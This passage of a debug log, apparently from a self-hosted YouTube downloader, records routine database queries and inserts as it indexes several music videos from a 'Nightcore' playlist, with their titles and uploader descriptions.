s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:56.407 [debug] QUERY OK source="media_profiles" db=0.1ms idle=297.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:56.408 [debug] QUERY OK source="media_items" db=0.1ms idle=297.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [10] 22:22:56.408 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "A little amv to go with nanidato's banger\nhttps://soundcloud.com/nanidato/super-riser\n\nDedicated to everyone's favourite space-idol\n\n29/02/2020: 1 million views!\n01/04/2022: 10 million views!\n\nMusic: ナニダトnanidato - SUPER RISER!\nVideo: Macross: Do You Remember Love?", "duration" => 246, "filename" => "/downloads/Nightcore/Nightcore/2015-09-22[AMV] SUPER RISER! 「Do You Remember Love?」[srnyVw-OR0g].m4a", "id" => "srnyVw-OR0g", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=srnyVw-OR0g", "playlist_index" => 10, "timestamp" => 1442931129, "title" => "[AMV] SUPER RISER! 「Do You Remember Love?」", "upload_date" => "20150922"} 22:22:56.408 [debug] QUERY OK source="sources" db=0.1ms idle=297.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:56.408 [debug] QUERY OK source="sources" db=0.1ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:56.408 [debug] QUERY OK source="media_items" db=0.1ms idle=1.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2015-09-22 14:12:09Z], 1] 22:22:56.592 [debug] QUERY OK source="media_items" db=182.9ms idle=1.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["A little amv to go with nanidato's banger\nhttps://soundcloud.com/nanidato/super-riser\n\nDedicated to everyone's favourite space-idol\n\n29/02/2020: 1 million views!\n01/04/2022: 10 million views!\n\nMusic: ナニダトnanidato - SUPER RISER!\nVideo: Macross: Do You Remember Love?", "[AMV] SUPER RISER! 「Do You Remember Love?」", "3aef5a87-a61a-4a6d-89c6-6b137c78e3fe", false, "srnyVw-OR0g", 246, false, "https://www.youtube.com/watch?v=srnyVw-OR0g", 10, "/downloads/Nightcore/Nightcore/2015-09-22[AMV] SUPER RISER! 「Do You Remember Love?」[srnyVw-OR0g].m4a", false, false, 1, [], 1, ~U[2015-09-22 14:12:09Z], ~U[2026-07-24 02:22:56Z], ~U[2026-07-24 02:22:56Z], "A little amv to go with nanidato's banger\nhttps://soundcloud.com/nanidato/super-riser\n\nDedicated to everyone's favourite space-idol\n\n29/02/2020: 1 million views!\n01/04/2022: 10 million views!\n\nMusic: ナニダトnanidato - SUPER RISER!\nVideo: Macross: Do You Remember Love?", "[AMV] SUPER RISER! 「Do You Remember Love?」", "srnyVw-OR0g", 246, false, "https://www.youtube.com/watch?v=srnyVw-OR0g", "/downloads/Nightcore/Nightcore/2015-09-22[AMV] SUPER RISER! 「Do You Remember Love?」[srnyVw-OR0g].m4a", false, 1, ~U[2015-09-22 14:12:09Z]] 22:22:56.593 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=184.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:56.594 [debug] QUERY OK source="media_profiles" db=0.4ms queue=0.1ms idle=185.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:56.595 [debug] QUERY OK source="media_items" db=0.5ms idle=186.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11] 22:22:56.595 [debug] FileFollowerServer Handler: Got media attributes: %{"filename" => "/downloads/Nightcore/Nightcore/NAyoutube video #EbJWdNnz5jA[EbJWdNnz5jA].NA", "id" => "EbJWdNnz5jA", "original_url" => "https://www.youtube.com/watch?v=EbJWdNnz5jA", "playlist_index" => 11, "title" => "youtube video #EbJWdNnz5jA"} 22:22:56.596 [debug] QUERY OK source="sources" db=0.2ms idle=187.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:56.596 [debug] Current batch of media processed. Will check again in 1000ms 22:22:57.597 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "song - rises the moon - Liana Flores\nanime - Frieren: Beyond Journey's End\n\n\n\n\n\n\nversion without subtitles: https://youtu.be/a9FaCsUKu24\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ntags: rises the moon, frieren, sousou no frieren, beyond journeys end, amv, edit, liana flores, anime", "duration" => 97, "filename" => "/downloads/Nightcore/Nightcore/2024-07-20rises the moon[5b2MFJMeonI].m4a", "id" => "5b2MFJMeonI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=5b2MFJMeonI", "playlist_index" => 12, "timestamp" => 1721510583, "title" => "rises the moon", "upload_date" => "20240720"} 22:22:57.598 [debug] QUERY OK source="sources" db=0.5ms idle=1004.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:57.599 [debug] QUERY OK source="sources" db=0.3ms idle=1004.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:57.599 [debug] QUERY OK source="media_items" db=0.3ms idle=1003.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-07-20 21:23:03Z], 1] 22:22:57.912 [debug] QUERY OK source="media_items" db=312.1ms idle=1003.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["song - rises the moon - Liana Flores\nanime - Frieren: Beyond Journey's End\n\n\n\n\n\n\nversion without subtitles: https://youtu.be/a9FaCsUKu24\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ntags: rises the moon, frieren, sousou no frieren, beyond journeys end, amv, edit, liana flores, anime", "rises the moon", "f353c155-9ec2-4c7d-bdce-328d3e33c610", false, "5b2MFJMeonI", 97, false, "https://www.youtube.com/watch?v=5b2MFJMeonI", 12, "/downloads/Nightcore/Nightcore/2024-07-20rises the moon[5b2MFJMeonI].m4a", false, false, 1, [], 1, ~U[2024-07-20 21:23:03Z], ~U[2026-07-24 02:22:57Z], ~U[2026-07-24 02:22:57Z], "song - rises the moon - Liana Flores\nanime - Frieren: Beyond Journey's End\n\n\n\n\n\n\nversion without subtitles: https://youtu.be/a9FaCsUKu24\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\ntags: rises the moon, frieren, sousou no frieren, beyond journeys end, amv, edit, liana flores, anime", "rises the moon", "5b2MFJMeonI", 97, false, "https://www.youtube.com/watch?v=5b2MFJMeonI", "/downloads/Nightcore/Nightcore/2024-07-20rises the moon[5b2MFJMeonI].m4a", false, 1, ~U[2024-07-20 21:23:03Z]] 22:22:57.913 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=314.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:57.914 [debug] QUERY OK source="media_profiles" db=0.5ms idle=314.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:22:57.915 [debug] QUERY OK source="media_items" db=0.5ms idle=315.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12] 22:22:57.915 [debug] Current batch of media processed. Will check again in 1000ms 22:22:58.917 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "✦ Stream my version of \"Extras\" on multiple different streaming services!\nYou can PRE-SAVE the track here: https://distrokid.com/hyperfollow/jen23/extras-from-guilty-gear--strive-\n\nSpotify ◇ https://open.spotify.com/intl-de/track/3YdypwsBbB5ARJORLn6fge?si=0ebc1c10b75e49ed\nSoundCloud ◇ https://soundcloud.com/xunreachablee/extras-city-pop-coverguilty-gear-strive-verjen\nApple Music ◇ https://music.apple.com/us/album/extras-from-guilty-gear-strive-single/1826036785\nAmazon Music ◇ https://music.amazon.com/albums/B0FH9QBJPV\n\n✦ This cover is intended to be listened to w/ headphones! \nLots of fancy stereo and ping pong ahead!! ✦\n\n@arturesugaming went ahead and created a mod where you can enjoy my version \nin lobby if you want!!! thank you so much!!!! hehe\nhttps://gamebanana.com/sounds/80931\n\n________________________________________\n\nHallöchen, ihr Lieben! ✧・゚:* \n\nHELLO HELLO!!!!!!!!! how is everyone??????\nit's been a little while since we last heard from one another!!! \nBUT FEAR NOT FOR I HAVE SOMETHING NEW FOR THOU EARHOLES!\n\nThis time, we're diving into the world of Guilty Gear! \n\nSpecifically Strive 'cus one silly little duck convinced me to give it a try \nover three months ago AND OH WELL, Elphelt took my heart by storm. \nDue to this being my first actual attempt at fighting games, I am majorly \nsucking butt at this very moment but I am optimistic that I can somewhat\nget the hang of it if I give it my all! Thanks to said silly little duck and \ncountless past coaching sessions, I am certain that it's loads of fun to \nplay once one understands the core of this very fancy version of \nrock paper scissors.\n\nBUT UNTIL THEN, YOU SHALL ENJOY THIS LITTLE TRACK I'VE COOKED \nUP THROUGHOUT MY STARTING DAYS IN THE GUILTS OF GEARS.\n\nI hope you enjoy my little re-imagine of Elphelt's theme and \nhave a lovely rest of the week!!!\n\nAs always, with love,\njen x\n\n________________________________________\n\n✦ CREDITS\n\"Extras\" from Guilty Gear -Strive-, theme of Elphelt Valentine\nComposed by Daisuke Ishiwatari\nOriginally performed by Molly Daisy\n♡ https://youtu.be/rhlZY4D8jlQ?si=IHkHAyrPp0dthTXV\n\nVocal / Mix / Music / Video ◇ jen\nScanned Elphelt Plush ◇ MayaIsAnimating (https://www.reddit.com/user/RedSnow6632/)\nAdditional Crowd Vocals ◇ Jamie & Lucas ♡\nAlbum Cover & Thumbnail Illustration ◇ Phil A\n\n________________________________________\n\n✦ GET IN TOUCH\nE-Mail → xunreachablee@web.de\nX → https://twitter.com/xUnreachablee\nSoundCloud → https://soundcloud.com/xunreachablee\n\n________________________________________\n\n- About jen\njen's also formally known as xUnreachablee is a german cover artist and producer. \nHer journey on YouTube started over a decade ago, initially with a german cover of \nthe first ATTACK ON TITAN opening that has ever since been deleted. \nNow, jen dedicates her free time to cover a vast variety of songs, spanning across \nmultiple different genre and media - creating more than 200 individual covers in \nenglish, german or even japanese.\n\n#guiltygearstrive #elphelt #citypop #cover\n\n________________________________________\n\nUsed footage:\nPlush gif (neutral): https://tenor.com/de/view/elphelt-valentine-elphelt-plush-elphelt-guilty-gear-plush-gif-12574333055562978112\nPlush gif (chaotic evil): https://tenor.com/view/elphelt-valentine-gif-7989070447292889832\nRocking left to right: https://tenor.com/de/view/loimf-loimfy-rub-a-dub-a-dub-love-cute-gif-8496196420083477691\nLetter: https://tenor.com/de/view/loimf-loimfy-rub-a-dub-a-dub-love-cute-gif-12959554312710383613\nHappy Elphelt: https://tenor.com/de/view/ggst-elphelt-elphelt-valentine-guilty-gear-guilty-gear--strive--gif-15774969657406111103\nBald Elphelt: https://tenor.com/de/view/elphelt-elphelt-valentine-bald-guilty-gear-guilty-gear-strive-gif-14788147135320327257\nBreakdancing Elphelt: https://tenor.com/de/view/elphelt-valentine-elphelt-guilty-gear-ggst-guilty-gear-strive-gif-17200802074161048131\nAspahlt: https://tenor.com/de/view/guilty-gear-elphelt-elphelt-valentine-gif-4481130338022856968\nSleeping Elphelt: https://tenor.com/de/view/elphelt-elphelt-valentine-elphelt-sleep-elphelt-valen" <> ..., "duration" => 368, "filename" => "/downloads/Nightcore/Nightcore/2025-07-08EXTRAS (City Pop Cover)「Guilty Gear -Strive-」⧸ ver.jen[ILef5RTqdYs].m4a", "id" => "ILef5RTqdYs", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=ILef5RTqdYs", "playlist_index" => 13, "timestamp" => 1752007114, "title" => "EXTRAS (City Pop Cover)「Guilty Gear -Strive-」/ ver.jen", "upload_date" => "20250708"} 22:22:58.917 [debug] QUERY OK source="sources" db=0.2ms idle=1003.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 22:22:58.918 [debug] QUERY OK source="sources" db=0.2ms idle=1003.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:22:58.918 [debug] QUERY OK source="media_items" db=0.2ms idle=1003.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-07-08 20:38:34Z], 1] 22:22:59.175 [debug] QUERY OK source="media_items" db=256.5ms idle=1003.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["✦ Stream my version of \"Extras\" on multiple different streaming services!\nYou can PRE-SAVE the track here: https://distrokid.com/hyperfollow/jen23/extras-from-guilty-gear--strive-\n\nSpotify ◇ https://open.spotify.com/intl-de/track/3YdypwsBbB5ARJORLn6fge?si=0ebc1c10b75e49ed\nSoundCloud ◇ https://soundcloud.com/xunreachablee/extras-city-pop-coverguilty-gear-strive-verjen\nApple Music ◇ https://music.apple.com/us/album/extras-from-guilty-gear-strive-single/1826036785\nAmazon Music ◇ https://music.amazon.com/albums/B0FH9QBJPV\n\n✦ This cover is intended to be listened to w/ headphones! \nLots of fancy stereo and ping pong ahead!! ✦\n\n@arturesugaming went ahead and created a mod where you can enjoy my version \nin lobby if you want!!! thank you so much!!!! hehe\nhttps://gamebanana.com/sounds/80931\n\n________________________________________\n\nHallöchen, ihr Lieben! ✧・゚:* \n\nHELLO HELLO!!!!!!!!! how is everyone??????\nit's been a little while since we last heard from one another!!! \nBUT FEAR NOT FOR I HAVE SOMETHING NEW FOR THOU EARHOLES!\n\nThis time, we're diving into the world of Guilty Gear! \n\nSpecifically Strive 'cus one silly little duck convinced me to give it a try \nover three months ago AND OH WELL, Elphelt took my heart by storm. \nDue to this being my first actual attempt at fighting games, I am majorly \nsucking butt at this very moment but I am optimistic that I can somewhat\nget the hang of it if I give it my all! Thanks to said silly little duck and \ncountless past coaching sessions, I am certain that it's loads of fun to \nplay once one understands the core of this very fancy version of \nrock paper scissors.\n\nBUT UNTIL THEN, YOU SHALL ENJOY THIS LITTLE TRACK I'VE COOKED \nUP THROUGHOUT MY STARTING DAYS IN THE GUILTS OF GEARS.\n\nI hope you enjoy my little re-imagine of Elphelt's theme and \nhave a lovely rest of the week!!!\n\nAs always, with love,\njen x\n\n________________________________________\n\n✦ CREDITS\n\"Extras\" from Guilty Gear -Strive-, theme of Elphelt Valentine\nComposed by Daisuke Ishiwatari\nOriginally performed by Molly Daisy\n♡ https://youtu.be/rhlZY4D8jlQ?si=IHkHAyrPp0dthTXV\n\nVocal / Mix / Music / Video ◇ jen\nScanned Elphelt Plush ◇ MayaIsAnimating (https://www.reddit.com/user/RedSnow6632/)\nAdditional Crowd Vocals ◇ Jamie & Lucas ♡\nAlbum Cover & Thumbnail Illustration ◇ Phil A\n\n________________________________________\n\n✦ GET IN TOUCH\nE-Mail → xunreachablee@web.de\nX → https://twitter.com/xUnreachablee\nSoundCloud → https://soundcloud.com/xunreachablee\n\n________________________________________\n\n- About jen\njen's also formally known as xUnreachablee is a german cover artist and producer. \nHer journey on YouTube started over a decade ago, initially with a german cover of \nthe first ATTACK ON TITAN opening that has ever since been deleted. \nNow, jen dedicates her free time to cover a vast variety of songs, spanning across \nmultiple different genre and media - creating more than 200 individual covers in \nenglish, german or even japanese.\n\n#guiltygearstrive #elphelt #citypop #cover\n\n________________________________________\n\nUsed footage:\nPlush gif (neutral): https://tenor.com/de/view/elphelt-valentine-elphelt-plush-elphelt-guilty-gear-plush-gif-12574333055562978112\nPlush gif (chaotic evil): https://tenor.com/view/elphelt-valentine-gif-7989070447292889832\nRocking left to right: https://tenor.com/de/view/loimf-loimfy-rub-a-dub-a-dub-love-cute-gif-8496196420083477691\nLetter: https://tenor.com/de/view/loimf-loimfy-rub-a-dub-a-dub-love-cute-gif-12959554312710383613\nHappy Elphelt: https://tenor.com/de/view/ggst-elphelt-elphelt-valentine-guilty-gear-guilty-gear--strive--gif-15774969657406111103\nBald Elphelt: https://tenor.com/de/view/elphelt-elphelt-valentine-bald-guilty-gear-guilty-gear-strive-gif-14788147135320327257\nBreakdancing Elphelt: https://tenor.com/de/view/elphelt-valentine-elphelt-guilty-gear-ggst-guilty-gear-strive-gif-17200802074161048131\nAspahlt: https://tenor.com/de/view/guilty-gear-elphelt-elphelt-valentine-gif-4481130338022856968\nSleeping Elphelt: https://tenor.com/de/view/elphelt-elphelt-valentine-elphelt-sleep-elphelt-valen" <> ..., "EXTRAS (City Pop Cover)「Guilty Gear -Strive-」/ ver.jen", "ed119cf4-b6af-44c9-8032-298dec49f3e2", false, "ILef5RTqdYs", 368, false, "https://www.youtube.com/watch?v=ILef5RTqdYs", 13, "/downloads/Nightcore/Nightcore/2025-07-08EXTRAS (City Pop Cover)「Guilty Gear -Strive-」⧸ ver.jen[ILef5RTqdYs].m4a", false, false, 1, [], 1, ~U[2025-07-08 20:38:34Z], ~U[2026-07-24 02:22:58Z], ~U[2026-07-24 02:22:58Z], "✦ Stream my version of \"Extras\" on multiple different streaming services!\nYou can PRE-SAVE the track here: https://distrokid.com/hyperfollow/jen23/extras-from-guilty-gear--strive-\n\nSpotify ◇ https://open.spotify.com/intl-de/track/3YdypwsBbB5ARJORLn6fge?si=0ebc1c10b75e49ed\nSoundCloud ◇ https://soundcloud.com/xunreachablee/extras-city-pop-coverguilty-gear-strive-verjen\nApple Music ◇ https://music.apple.com/us/album/extras-from-guilty-gear-strive-single/1826036785\nAmazon Music ◇ https://music.amazon.com/albums/B0FH9QBJPV\n\n✦ This cover is intended to be listened to w/ headphones! \nLots of fancy stereo and ping pong ahead!! ✦\n\n@arturesugaming went ahead and created a mod where you can enjoy my version \nin lobby if you want!!! thank you so much!!!! hehe\nhttps://gamebanana.com/sounds/80931\n\n________________________________________\n\nHallöchen, ihr Lieben! ✧・゚:* \n\nHELLO HELLO!!!!!!!!! how is everyone??????\nit's been a little while since we last heard from one another!!! \nBUT FEAR NOT FOR I HAVE SOMETHING NEW FOR THOU EARHOLES!\n\nThis time, we're diving into the world of Guilty 